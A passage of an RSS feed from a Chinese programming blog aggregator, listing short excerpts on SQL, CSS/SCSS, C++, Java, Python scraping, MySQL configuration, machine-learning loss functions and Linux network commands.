1、在意义明确的情况下可以仅仅使用首字母命名变量可以缩短变量名。 int iID; 1、定义一个类使用C作为类名的前缀。 class CStudent { … }; 一、参考 https://blog.</description>
    </item>
    <item>
      <title>数据库开发及ADO.NET(8)——删除- delete [from] Table where col=data</title>
      <link>https://bchobby.github.io/posts/7c8a72f11d3b49773ac62f1856261f25/</link>
      <pubDate>Sat, 31 Aug 2019 00:08:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c8a72f11d3b49773ac62f1856261f25/</guid>
      <description>1、删除表中全部数据：DELETE FROM T_Person。&#xA;2、Delete只是删除数据，表还在，和Drop Table不同。&#xA;3、Delete 也可以带where子句来删除一部分数据：DELETE FROM T_Person WHERE FAge &amp;gt; 20&#xA;4、Truncate：删除表数据/还原标识。下一篇文章会有详细说明。&#xA;Truncate Table &amp;lt;表名&amp;gt;&#xA;5、删除表中全部数据：①DELETE FROM 表名。②DELETE 表名。①和②两种写法的效果是一样的。表还在。Delete 也可以带where子句来删除一部分数据。&#xA;6、Drop Table是删除表本身。&#xA;7、级联删除：在做删除操作时，外键表也会自动删掉相应的。为了数据安全，一般不使用级联。</description>
    </item>
    <item>
      <title>CSS扩展语言</title>
      <link>https://bchobby.github.io/posts/9e55420b5fab73c388712bee4c68c227/</link>
      <pubDate>Fri, 30 Aug 2019 16:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e55420b5fab73c388712bee4c68c227/</guid>
      <description>CSS没有变量？不要诬蔑我们大CSS好不？就像ES一样，你说JS没有模块，ES6给你整一个出来，而在这之前就已经有相关的库出来了。CSS也一样，你说CSS没有变量，CSS3就给你一个var()，变量你值得拥有！&#xA;// 语法 // &amp;lt;custom-preperty-name&amp;gt; 自定义属性名 // &amp;lt;declaration-value&amp;gt;声明值（回退值） // var( &amp;lt;custom-preperty-name&amp;gt;, &amp;lt;declaration-value&amp;gt;? ) :root { --main-bg-color: pink; } body { background-color: var(--main-bg-color, blue); } 它也同ES6一样存在浏览器未部署不兼容的情况，即便它给了var()来打造变量，它仍旧显得很笨重！我提一个组件样式，为了避免样式冲突每次就得在前面加上一个组件唯一标识，就像这样：&#xA;.my-content article h1 { color: #333 } .my-content article p { margin-bottom: 1.4em } .my-content aside { background-color: #EEE } 得亏CSS扩展语言出现了，它为CSS引入了变量、混合器等等语法，让CSS得到模块化发展。CSS扩展语言大体上差不多，具体使用哪个语言来工作取决于开发者个人喜好，这里以Sass/SCSS举例。先说下这两位的区别，SCSS 是 Sass 3 引入新的语法，其语法完全兼容 CSS3，并且继承了 Sass 的强大功能。也就是说，任何标准的 CSS3 样式表都是具有相同语义的有效的 SCSS 文件。另外，SCSS 还能识别大部分 CSS hacks（一些 CSS 小技巧）和特定于浏览器的语法，例如：古老的 IE filter 语法。&#xA;.my-content { article { h1 { color: #333 } p { margin-bottom: 1.</description>
    </item>
    <item>
      <title>Python Pandas模块 to_execl 和read_execl出错</title>
      <link>https://bchobby.github.io/posts/bce576728d893d717e441661ea8f4067/</link>
      <pubDate>Fri, 30 Aug 2019 15:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bce576728d893d717e441661ea8f4067/</guid>
      <description>最近查看别人的例程代码的时候，里面用到了pandas模块，使用pycham一运行关于读写execl的代码，就报 exit code 3错误。&#xA;一头雾水，经过不断翻阅资料，折腾了好长时间终于解决了。问题的原因是少了两个依赖模块。&#xA;解决办法：&#xA;pip install xlwt 这是写execl模块&#xA;pip install xlrd 这是读execl模块&#xA;转载于:https://www.cnblogs.com/guomeng888/p/11435252.html</description>
    </item>
    <item>
      <title>XILINX封装FBG与FFG区别</title>
      <link>https://bchobby.github.io/posts/ffbe6efae8407c0e758dee9f59c123a6/</link>
      <pubDate>Fri, 30 Aug 2019 15:17:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffbe6efae8407c0e758dee9f59c123a6/</guid>
      <description>bare die, version produced with the heat spreader top and with fewer package layers to save cost</description>
    </item>
    <item>
      <title>C&#43;&#43;读写文件</title>
      <link>https://bchobby.github.io/posts/1260e01a387f7122f9dec0d349e841f6/</link>
      <pubDate>Fri, 30 Aug 2019 01:51:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1260e01a387f7122f9dec0d349e841f6/</guid>
      <description> 文章目录 C++读写 C++读写文件原文链接：&#xA;C++读写 #include &amp;lt;fstream&amp;gt; int main() { fstream file(&#34;file.txt&#34;); string line; out&amp;lt;&amp;lt;&#34;out&#34;&amp;lt;&amp;lt;endl;//不可以同时读写 for(int i=0;i&amp;lt;10;i++) getline(file,line); cout&amp;lt;&amp;lt;line&amp;lt;&amp;lt;endl; return 0; } </description>
    </item>
    <item>
      <title>【leetcode】</title>
      <link>https://bchobby.github.io/posts/965962ee1483aba9eb5513f8faa8f4b2/</link>
      <pubDate>Thu, 29 Aug 2019 22:35:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/965962ee1483aba9eb5513f8faa8f4b2/</guid>
      <description> 文章目录 快慢指针+反转链表 快慢指针+反转链表 bool isPalindrome(ListNode* head) { if(!head||!head-&amp;gt;next) return true; ListNode* fast = head;ListNode* slow = head; while(fast&amp;amp;&amp;amp;fast-&amp;gt;next) { fast = fast-&amp;gt;next-&amp;gt;next; slow = slow-&amp;gt;next; } ListNode* cur = slow;ListNode *nex = NULL;ListNode *list_back = NULL; while(cur) { nex = cur-&amp;gt;next; cur-&amp;gt;next = list_back; list_back = cur; cur = nex; } ListNode* list_front = head; while(list_back&amp;amp;&amp;amp;list_front) { if(list_back-&amp;gt;val==list_front-&amp;gt;val) { list_back = list_back-&amp;gt;next; list_front = list_front-&amp;gt;next; } else return false; } return true; } </description>
    </item>
    <item>
      <title>mysql my.ini</title>
      <link>https://bchobby.github.io/posts/879c8a8acf1f7482610f41d8577a9bd9/</link>
      <pubDate>Thu, 29 Aug 2019 19:51:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/879c8a8acf1f7482610f41d8577a9bd9/</guid>
      <description> Mysql my.ini [client] #设置mysql客户端默认字符集 default-character-set=utf8 [mysql] # 设置mysql客户端默认字符集 default-character-set=utf8 user = &#39;root&#39; password = &#39;123&#39; [mysqld] #设置3306端口 port = 3306 # 设置mysql的安装目录 basedir=E:\mysql-5.6.45-winx64 # 设置mysql数据库的数据的存放目录 datadir=E:\mysql-5.6.45-winx64\data # 允许最大连接数 max_connections=200 # 服务端使用的字符集默认为8比特编码的latin1字符集 character-set-server=utf8 # 创建新表时将使用的默认存储引擎 default-storage-engine=INNODB </description>
    </item>
    <item>
      <title>smooth L1 loss是什么以及为什么好</title>
      <link>https://bchobby.github.io/posts/a1683cc2844c4d69e5b3560b527de616/</link>
      <pubDate>Thu, 29 Aug 2019 17:45:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1683cc2844c4d69e5b3560b527de616/</guid>
      <description>转载链接：https://www.jianshu.com/p/19483787fa24&#xA;smooth L1 loss能从两个方面限制梯度：&#xA;当预测框与 ground truth 差别过大时，梯度值不至于过大；当预测框与 ground truth 差别很小时，梯度值足够小。 考察如下几种损失函数，其中&#xA;损失函数对 x 的导数分别为：&#xA;观察 (4)，当 x 增大时 L2 损失对 x 的导数也增大。这就导致训练初期，预测值与 groud truth 差异过于大时，损失函数对预测值的梯度十分大，训练不稳定。&#xA;根据方程 (5)，L1 对 x 的导数为常数。这就导致训练后期，预测值与 ground truth 差异很小时， L1 损失对预测值的导数的绝对值仍然为 1，而 learning rate 如果不变，损失函数将在稳定值附近波动，难以继续收敛以达到更高精度。&#xA;最后观察 (6)，smooth L1 在 x 较小时，对 x 的梯度也会变小，而在 x 很大时，对 x 的梯度的绝对值达到上限 1，也不会太大以至于破坏网络参数。 smooth L1 完美地避开了 L1 和 L2 损失的缺陷。其函数图像如下：&#xA;由图中可以看出，它在远离坐标原点处，图像和 L1 loss 很接近，而在坐标原点附近，转折十分平滑，不像 L1 loss 有个尖角，因此叫做 smooth L1 loss。</description>
    </item>
    <item>
      <title>自用模板</title>
      <link>https://bchobby.github.io/posts/d5cec08fcb04aedf47993245f219d9d0/</link>
      <pubDate>Thu, 29 Aug 2019 13:40:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5cec08fcb04aedf47993245f219d9d0/</guid>
      <description>文章目录 自己用的模板1.二分查找2.分治算法标准库常见用法string用法swap函数vector用法 自己用的模板 1.二分查找 二分查找链接模板原文链接&#xA;1.求最小的i，使得a[i] = key，若不存在，则返回-1&#xA;int binary_search_1(int a[], int n, int key) { int m, l = 0, r = n - 1; // 闭区间[0, n - 1] while (l &amp;lt; r) { m = l + ((r - l) &amp;gt;&amp;gt; 1); // 向下取整 if (a[m] &amp;lt; key) l = m + 1; else r = m; } if (a[r] == key) return r; return -1; } 2.</description>
    </item>
    <item>
      <title>c/c&#43;&#43;基础知识记录</title>
      <link>https://bchobby.github.io/posts/74310dfcadb159c06e47022834209a3e/</link>
      <pubDate>Thu, 29 Aug 2019 11:43:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74310dfcadb159c06e47022834209a3e/</guid>
      <description>数据结构类型 c/c++语言的数据结构类型分为基本数据类型和高级数据类型两种。基本数据类型分为：整型、浮点型、字符型、逻辑型。&#xA;整型&#xA;整型数据类型根据表示范围分为short、int 、long。 关键字长度范围short2字节-215~215-1unsigned short2字节0~216-1int4字节-231~231-1unsigned int4字节0~232-1long4字节-231~231-1unsigned long4字节0~232-1 浮点型&#xA;浮点型数据有float、double、long double。 关键字长度float4字节double8字节long double8字节 float类型数据精度为小数点后有效位6位，double类型数据精度为小数点后有效位15位。&#xA;字符型 关键字长度范围char1字节-128~127unsigned1字节0~255 逻辑类型 关键字长度范围bool1字节true、false 局部变量&#xA;在一个函数内部或者一个复合结构（包括类）内定义的变量称为局部变量（又称内部变量），其有效范围只在所定义的函数或者结构中。全局变量&#xA;全局变量的作用范围不仅仅局限于函数中，而是在程序的任何部分都能起作用，c++规定在函数之外定义的变量为全局变量，又称外部变量。 #include&amp;lt;iostram.h&amp;gt; int m=1;//全局变量 int main() { return 0; } 自动数据类型转换&#xA;在进行数据运算时，c++可以实现将参与运算的各个数据项从一种数据类型到另一种数据类型的自动转换。c++中各数据类型的数量级顺序是：&#xA;char–&amp;gt;short–&amp;gt;int–&amp;gt;long–&amp;gt;float–&amp;gt;double&#xA;强制数据类型转换&#xA;强制数据类型转换有两种方式&#xA;float(a)(int) a 数据结构相关知识 算法时间复杂度&#xA;算法时间复杂度是算法运行时间的相对度量，语句频度是语句重复执行的次数，一个算法所耗费的时间就是该算法中所有语句频度之和。要准确计算出一个算法的语句频度有时是相当繁琐的，也是没有必要的，实际中只要大致估计出算法时间复杂度的的**数量级（order）**即可。时间的复杂度就是语句频度的数量级表示，一般只要分析算法中的循环语句重复执行的次数即可；算法空间复杂度&#xA;算法空间的复杂度是算法所需存储的空间的度量，它是问题规模 n n n的函数，记为 S ( n ) S(n) S(n)。 链表 链表的创建与打印&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; typedef struct student{ char name[8]; char num[10]; int score; struct student *next; }NODE; //将struct student 结构类型定义为新的类型名NODE //（我得理解是，链表是一种特殊的结构，就是形如 NODE 一样的结构体，所以用NODE表示这种特殊的结构） int main() { NODE *head; //变量声明，定义 一个NODE结构类型的指针变量head NODE *creat(); // creat函数原型申明 ，返回值类型为NODE结构指针 （该函数实现链表的创建） void display(NODE*); // display 函数原型申明，形参为NODE结构指针，返回值为空 （该函数实现链表的打印） head=creat(); //创建链表 display(head); //打印链表 return 0;&#x9;} //定义函数 NODE *creat() { NODE *head, *p, *s; //声明三个NODE类型的指针 ，head头指针，p可以看作尾指针，s可以看作节点指针 int key=1,n; //n表示链表的节点个数 char k[3],grad[3]; // head=(NODE*)malloc(sizeof(NODE)); //给头指针动态分配内存地址 p=head; // while(key) { printf(&#34;</description>
    </item>
    <item>
      <title>修改echarts转化生成表格的样式</title>
      <link>https://bchobby.github.io/posts/90ee587fb5162870af7be91df1395d27/</link>
      <pubDate>Thu, 29 Aug 2019 11:06:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90ee587fb5162870af7be91df1395d27/</guid>
      <description>echartstoolbox对数据视图（dataview）自定义操作&#xA;不知道大家有没有和我一样觉得echarts自带的数据视图很难看，想自己动手改造一下，下面就介绍一下：&#xA;主要是在dataView的contentToOption事件中重定义样式；直接上代码&#xA;toolbox: { show: true, itemGap: 5, top: -5, feature: { dataView: { // readOnly: true, optionToContent: (opt) =&amp;gt; { // opt为图表option，拿到对应数据重新渲染 const axisData = opt.rawData.valueData; const series = opt.rawData.yAxisData; let table = `&amp;lt;table border style=&#34;user-select:text;width:100%;text-align:center;color:#000&#34;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;省份&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;数量&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;`; for (let i = 0, l = axisData.length; i &amp;lt; l; i += 1) { table += `&amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;${series[i]}&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;${axisData[i]}&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt;`; } table += &#39;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&#39;; return table; }, }, }, }, 效果如下：</description>
    </item>
    <item>
      <title>The Accuracy Updated Ensemble Algorithm（精度更新集合算法）</title>
      <link>https://bchobby.github.io/posts/8a4a47d3bb3e77282effa7c5d1e9f743/</link>
      <pubDate>Thu, 29 Aug 2019 03:11:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a4a47d3bb3e77282effa7c5d1e9f743/</guid>
      <description>一种用于处理不同类型概念漂移的混合算法 算法简介数据流与概念漂移概念漂移的几种不同类型当前主流的几种处理概念漂移的方法与不足Algorithm AUE2小结 算法简介 随着在传感器网络，银行和通信等领域广泛应用数据流挖掘技术，越来越多在线处理数据流的算法也应运而生。本文我要介绍的这个算法名为The Accuracy Updated Ensemble Algorithm。关于这个算法的论文：Reacting to Different Types of Concept Drift: The Accuracy Updated Ensemble Algorithm 是由Pznan University of Technology 的一位博士生和他的导师一起提出来发表在IEEE Trans的。而这篇论文的主要贡献就是提出了一种新的数据流分类器，旨在处理不同类型的概念漂移。&#xA;数据流与概念漂移 在这之前我们提到了数据流与概念漂移。那么究竟它们究竟是什么呢？研究它们又有什么意义呢？&#xA;接下来我就用我粗浅的见识来简单介绍一下这两个概念吧。&#xA;1.数据流&#xA;百度上对数据流的介绍是这样的：数据流（data stream）是一组有序，有起点和终点的字节的数据序列。包括输入流和输出流。数据流最初是通信领域使用的概念，代表传输中所使用的信息的数字编码信号序列。这个概念最初在1998年由Henzinge提出，他将数据流定义为“只能以事先规定好的顺序被读取一次的数据的一个序列”。&#xA;举个简单的例子，大家都知道这段时间网络上仍然发生着大量的电信诈骗事件，如果我们能够用一种方法可以实时准确在互联网上分辨出诈骗信息，将它屏蔽并交给警察叔叔，那么是不是很有意义呢？正如刚才所说，那些此时此刻正在发送的一封一封的短信就是我们的数据流，一个短信就是一个数据（简称样本）。这样可以理解了吧？&#xA;2.概念漂移&#xA;概念漂移是由英文concept drift直译过来的。它是机器学习领域重要的问题之一，也是数据挖掘工作中的一个巨大的阻碍。网上的翻译都直接用这个作为例句（哈哈）：&#xA;Concept drift is a big obstacle in the field of mining stream data.&#xA;简单地说就是我们在用数据训练我们的分类器时，随着时间的推移，数据的分布发生了改变，这种改变就叫做概念漂移,随之而来的严重后果就是之前训练的模型就不再适用于处理当前数据了。&#xA;再用刚刚电信诈骗来举例：本来今天一上午到晚上，骗子们偷懒都没有发一封诈骗短信，而到了晚上他们突然想到再不“工作”，第二天就没饭吃了，于是开始陆陆续续向外发短信，而我们的算法在经过了一个白天的大量正常短信的训练，这突然遇到了一封诈骗短信，就突然没有反应过来，直到诈骗短信越来越多，它才慢慢反应过来，这是不是已经为时已晚了呢?这就是机器学习呀…而我们的工作就是尽可能让这种算法在实时处理大量正常短信中夹杂着生活极度不规律的“骗子”发的诈骗短信反应再快一点，准确度（简称精度）更高一点。&#xA;关于概念漂移，我想不久我会专门写一篇关于概念漂移的全面总结性文章，这么简单的介绍一个如此复杂的东西，心里总有点过意不去~&#xA;概念漂移的几种不同类型 概念漂移可以从很多角度进行细分，如果按变化速度来的话，可以分为四类：&#xA;突变型（sudden）概念漂移 ，发生迅速且不可逆；渐变型（incremental gradual）概念漂移,incremental和gradual都是强调改变发生的缓慢，incremental强调值的随时间改变，gradual则是数据分布的改变；临时型（recurring）概念漂移，recurring则是一种temporary（临时性）的改变，在短时间内会恢复成之前的状态。这是一种不规则的反复变化；稀罕型（blip）概念漂移，通常又将这种情况被视为anomaly或者outlier（异常）；噪音型（noise）概念漂移 这一种随机的改变也被视为噪音的一种，往往需要剔除；&#xA;来源：A Review on Real Time Data Stream Classification and Adapting To Various Concept Drift Scenarios</description>
    </item>
    <item>
      <title>{&#34;status&#34;:false,&#34;msg&#34;:&#34;您操作太频繁,请稍后再访问&#34;,&#34;clientIp&#34;:&#34;113.94.81.141&#34;}</title>
      <link>https://bchobby.github.io/posts/bdf9319ea32ba4aad107e7a52cc34b20/</link>
      <pubDate>Wed, 28 Aug 2019 23:57:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdf9319ea32ba4aad107e7a52cc34b20/</guid>
      <description> 在爬取拉勾网的时候报错{&#34;status&#34;:false,&#34;msg&#34;:&#34;您操作太频繁,请稍后再访问&#34;,&#34;clientIp&#34;:&#34;113.94.81.141&#34;} 需要获取搜索结果那一页的cookie 以及header里面需要添加Accept、Referer、User-Agent&#xA;import requests url = &#39;https://www.lagou.com/jobs/positionAjax.json?city=%E5%B9%BF%E5%B7%9E&amp;amp;needAddtionalResult=false&#39; payload={ &#39;first&#39;: &#39;true&#39;, &#39;pn&#39;: &#39;1&#39;, &#39;kd&#39;: &#39;自然语言处理&#39; } header = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36&#39;, &#39;Referer&#39;: &#39;https://www.lagou.com/jobs/list_%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86?px=default&amp;amp;city=%E5%B9%BF%E5%B7%9E&#39;, &#39;Accept&#39;: &#39;application/json, text/javascript, */*; q=0.01&#39; } urls =&#39;https://www.lagou.com/jobs/list_%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86?city=%E5%B9%BF%E5%B7%9E&amp;amp;cl=false&amp;amp;fromSearch=true&amp;amp;labelWords=&amp;amp;suginput=&#39; s = requests.Session() # 获取搜索页的cookies s.get(urls, headers=header, timeout=3) # 为此次获取的cookies cookie = s.cookies # 获取此次文本 response = s.post(url, data=payload, headers=header, cookies=cookie, timeout=5).text print(response) </description>
    </item>
    <item>
      <title>三目运算符</title>
      <link>https://bchobby.github.io/posts/1a26ca48eb8c2c5b19cb3a9fbc7b5c53/</link>
      <pubDate>Wed, 28 Aug 2019 20:28:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a26ca48eb8c2c5b19cb3a9fbc7b5c53/</guid>
      <description>语法：条件/布尔表达式 ? 值1:值2&#xA;三目运算符表达式的结果是值1或值2中的一个，如果满足条件，返回值1；如果不满足条件，则返回值2&#xA;int a = 10;&#xA;System.out.println(a+10&amp;gt;20? “大于”:“不大于”);</description>
    </item>
    <item>
      <title>ArrayList和LinkedList的面试题</title>
      <link>https://bchobby.github.io/posts/ba5e93a8e81e877ea4f7914598a1c845/</link>
      <pubDate>Wed, 28 Aug 2019 15:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba5e93a8e81e877ea4f7914598a1c845/</guid>
      <description> ArrayList和LinkedList的区别是什么? 答:数据接口实现:ArrayList:是动态数组数据结构实现的,LinkedList是基于双向链表数据结构实现的. 随机访问效率:ArrayList比LinkedList访问效率高,因为LinkedList是基于线性数据存储的方式,所以要移动指针依次查找数据. 增加和访问的效率:在非首尾添加数据,LinkedList要比ArrayList要高,因为ArrayLIst是基于数组实现的他的添加要影响数组的数据下标. </description>
    </item>
    <item>
      <title>-bash: ifconfig: command not found</title>
      <link>https://bchobby.github.io/posts/cc9b838741f97af7b1d9af4c2bb6ccdc/</link>
      <pubDate>Wed, 28 Aug 2019 14:59:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc9b838741f97af7b1d9af4c2bb6ccdc/</guid>
      <description>执行命令： ifconfig 错误截图：&#xA;解决方案： 1.运行命令 ：sudo yum install net-tools&#xA;2.根据提示输入 y&#xA;3.根据提示再次输入 y&#xA;看到Complete! 就OK了&#xA;测试： 再次执行命令：ifconfig&#xA;好了 问题成功解决！</description>
    </item>
    <item>
      <title>Centos7 查看端口的常用命令</title>
      <link>https://bchobby.github.io/posts/47e4e3d5fbf0c5023e5c79529c1280b9/</link>
      <pubDate>Tue, 27 Aug 2019 18:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47e4e3d5fbf0c5023e5c79529c1280b9/</guid>
      <description> Centos7 查看端口的常用命令&#xA;安装net-tools工具 # yum install net-tools 查看端口被哪个进程使用 # netstat -lnp | grep 8031 查看监听(Listen)的端口 # netstat -lntp 查看所有建立的TCP连接 # netstat -antp </description>
    </item>
    <item>
      <title>初始化数组</title>
      <link>https://bchobby.github.io/posts/e386d464d9eae6a77589be98df718665/</link>
      <pubDate>Tue, 27 Aug 2019 15:54:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e386d464d9eae6a77589be98df718665/</guid>
      <description>一维&#xA;动态初始化：String[]strs = new String[4]&#xA;静态初始化：String[]strs = new String[]{“AA”,“BB”}&#xA;二维：&#xA;动态初始化：&#xA;1.String[][] str = new String[4][3];&#xA;2.String[][] str1 = new String[4][];&#xA;str1[0] = new String[3];&#xA;str1[3] = new String[5];&#xA;str1[0][0]=“看”；&#xA;3.静态初始化：&#xA;int[][] arr = new int[][]{{1,2}{4,3}};&#xA;2.引用二维数组的元素:&#xA;arr[1][0] =12;&#xA;3.二维数组的长度：arr.length;//3&#xA;arr[1],length;//2&#xA;4.遍历二维数组&#xA;嵌套fao循环&#xA;for(int i = 0;i &amp;lt; arr.length;i++){&#xA;for(int j = 0;i &amp;lt; arr[i].length;j++){&#xA;System.out.print(arr[i][j]+&#34;\t&#34;);&#xA;}&#xA;System.out.println();&#xA;5.关于数组的默认初始化值：&#xA;1）byte int short long 0&#xA;2) float double 而言：0.0&#xA;3）char而言： 空格</description>
    </item>
    <item>
      <title>Java中去除字符串中空格的方法</title>
      <link>https://bchobby.github.io/posts/4d64cfbfed2ca921f731cfcc0570227e/</link>
      <pubDate>Tue, 27 Aug 2019 09:59:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d64cfbfed2ca921f731cfcc0570227e/</guid>
      <description>1、方法分类&#xA;str.trim(); //去掉首尾空格str.replace(&#34; “,”&#34;); //去除所有空格，包括首尾、中间str.replaceAll(&#34; &#34;, “”); //去掉所有空格，包括首尾、中间str.replaceAll(&#34; +&#34;,&#34;&#34;); //去掉所有空格，包括首尾、中间 str.replaceAll(&#34;\s*&#34;, “”); //可以替换大部分空白字符， 不限于空格 ； 注意：\s* 可以匹配空格、制表符、换页符等空白字符的其中任意一个。&#xA;2、代码示例&#xA;package test; public class Test { /** * description:字符串去除空格的方法 */ public static void main(String[] args) { String str = &#34; hi world ~ &#34;; //方法1：str.trim() System.out.println(&#34;1---&amp;gt;&#34;+str.trim()); //方法2：str.repalce(&#34; &#34;,&#34;&#34;) System.out.println(&#34;2---&amp;gt;&#34;+str.replace(&#34; &#34;, &#34;&#34;)); //方法3：str.repalceAll(&#34; &#34;,&#34;&#34;) System.out.println(&#34;3---&amp;gt;&#34;+str.replaceAll(&#34; &#34;, &#34;&#34;)); //方法4：str.repalceAll(&#34; +&#34;,&#34;&#34;) System.out.println(&#34;4---&amp;gt;&#34;+str.replaceAll(&#34; +&#34;, &#34;&#34;)); //方法5：str.repalceAll(&#34;\\s*&#34;,&#34;&#34;) System.out.println(&#34;4---&amp;gt;&#34;+str.replaceAll(&#34;\\s*&#34;, &#34;&#34;)); } } 3、输出结果&#xA;4、replace和replaceAll是JAVA中常用的替换字符的方法,它们的区别是:&#xA;（1）　replace的参数是char和CharSequence,即可以支持字符的替换,也支持字符串的替换(CharSequence即字符串序列的意思,说白了也就是字符串);&#xA;（2）　replaceAll的参数是regex,即基于规则表达式的替换,比如,可以通过replaceAll(&#34;</description>
    </item>
    <item>
      <title>Javascript 之 DOM案例（1）</title>
      <link>https://bchobby.github.io/posts/36434afa028ab6c99fdf6ccd90e7b9db/</link>
      <pubDate>Tue, 27 Aug 2019 00:08:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36434afa028ab6c99fdf6ccd90e7b9db/</guid>
      <description>1.点击按钮弹出对话框&#xA;&amp;lt;input type=&#34;button&#34; value=&#34;弹出来&#34; onclick=&#34;alert(&#39;我是弹框&#39;)&#34;&amp;gt; 2.点击按钮修改超链接的地址和热点文字&#xA;// 根据id获取按钮，注册点击事件，增加事件处理函数 document.getElementById(&#34;bth&#34;).onclick()=function () { // 根据id获取超链接，设置href的属性 document.getElementById(&#34;bj&#34;).href=&#34;https://123.sogou.com/&#34;; //根据id获取超链接，设置文字内容 document.getElementById(&#34;bj&#34;).innerText=&#34;嘎嘎&#34;; } //优化代码 document.getElementById(&#34;bth&#34;).onclick()=function () { //根据id获取按钮，赋值给变量aobj var aObj= document.getElementById(&#34;bj&#34;); aObj.href=&#34;https://123.sogou.com/&#34;; aObj.innerText=&#34;嘎嘎&#34;; } 3.点击(每个)图片弹出对话框&#xA;&amp;lt;img src=&#34;images/1.jpg&#34; alt=&#34;&#34; id=&#34;im1&#34; /&amp;gt; &amp;lt;img src=&#34;images/2.jpg&#34; alt=&#34;&#34; id=&#34;im2&#34; /&amp;gt; &amp;lt;img src=&#34;images/3.jpg&#34; alt=&#34;&#34; id=&#34;im3&#34; /&amp;gt; &amp;lt;script&amp;gt; // document.getElementById(&#34;im1&#34;).onclick=function () { // alert(&#34;被点了&#34;); // }; // document.getElementById(&#34;im2&#34;).onclick=function () { // alert(&#34;被点了&#34;); // }; // document.getElementById(&#34;im3&#34;).onclick=function () { // alert(&#34;被点了&#34;); // }; //根据标签的名字获取图片标签,分别注册点击事件 var imgObjs=document.</description>
    </item>
    <item>
      <title>3个珍藏已久的资源网站，个个都很厉害，赶快私藏起来吧</title>
      <link>https://bchobby.github.io/posts/c4618eb82faec164879795d943e39ed0/</link>
      <pubDate>Mon, 26 Aug 2019 10:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4618eb82faec164879795d943e39ed0/</guid>
      <description>现在想要找到好的资源真的是难上加难了，拥有资源即拥有财富，今天小编就来给大家分享几个优质的资源网站，让你从此以后找资源不发愁！&#xA;1. 爱资料工具 这个网站是一个小工具合集的网站，虽说它页面布局有点混乱，但是这完全不影响它的实用性，包括开发工具、网站运维、作图神器、文档转换等办公中常用的工具，里面都有所提供。&#xA;2. Free Stock Photos pexels 这时一个图片资源网站，大家都知道现在网上很多稍微好看一点的网站都是有版权，需要付费的，那么当我们工作中需要图片资源的时候，怎么办呢？&#xA;Free Stock Photos pexels一个免费的图片资源网站，里面还提供少量的视频资源，有了它基本上可以满足你日常工作图片的需求。&#xA;3. Zou114 一个实用的查询工具网站，通过它可以查询到通信物流、电脑网络、出行旅游、工作商务、学习教育等多个行业的信息，不论是在生活中，还是在工作中都十分的好用！&#xA;今天的分享到这里就结束了，除了这些，你还有哪些私藏的资源网站呢？</description>
    </item>
    <item>
      <title>guiplan介绍</title>
      <link>https://bchobby.github.io/posts/fd909a7679875409e0f439a39e68c2f5/</link>
      <pubDate>Sun, 25 Aug 2019 16:24:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd909a7679875409e0f439a39e68c2f5/</guid>
      <description>1.引言 编写目的 随着社会的发展，互联网与我们的生活密切相关，而用户在手机与电脑上使用最多的莫过于浏览网页、企业网站、后台管理等等。然而网站的制作成本极高，难度极大，对技术的要求苛刻。企业急需产出，投入大量的成本。程序员也在每日每夜的奋战中，熬夜加班。客户迟迟等待不见结果，很容易错过好的市场机会。为了更好的解决这些问题，guiPlan由此诞生。此软件旨在解决:1，企业产出效率问题。2，程序员日常加班问题。3，客户需求进展解决过慢问题。它打破了传统手写代码，guiPlan使用简单，对程序员的技术要求不高，能够更好的服务大众。退一步讲，即使非技术人员通过此软件，也能制作出简单的页面。&#xA;软件用途 guiPlan是一款集编辑，制作，预览三位一体可视化网页编辑工具！同时，也是一款代码自动编写、后端接口与数据库配置代码自动生成、前后端全部通用的全能工具（PS:不只是生成代码，还可插入到本地对应的位置，用户无需手动复制粘贴来获取代码）。用户无需再边写html代码同时边写css代码，查看效果也无需打开浏览器实时刷新预览。通俗讲：用户可以像ps一样的实时看到自己制作的页面，并运用快捷拖拽等方式轻松的绘制出自己想要的效果，只需一键点击保存，此软件即可自动生成相应的代码与文件。 因为是软件自动生成代码，所以开发效率至少是传统手写代码的7倍，代码错误率至少降低80% 。总之，此款软件对于企业，能降低巨额成本，最大限度提升企业效益，高效产出及时抓住市场先机，极大提升行业竞争力。而对于程序员，则轻松诸多，以后不必过多加班。&#xA;软件核心亮点 1．像ps一样通过快捷键拖拽等等 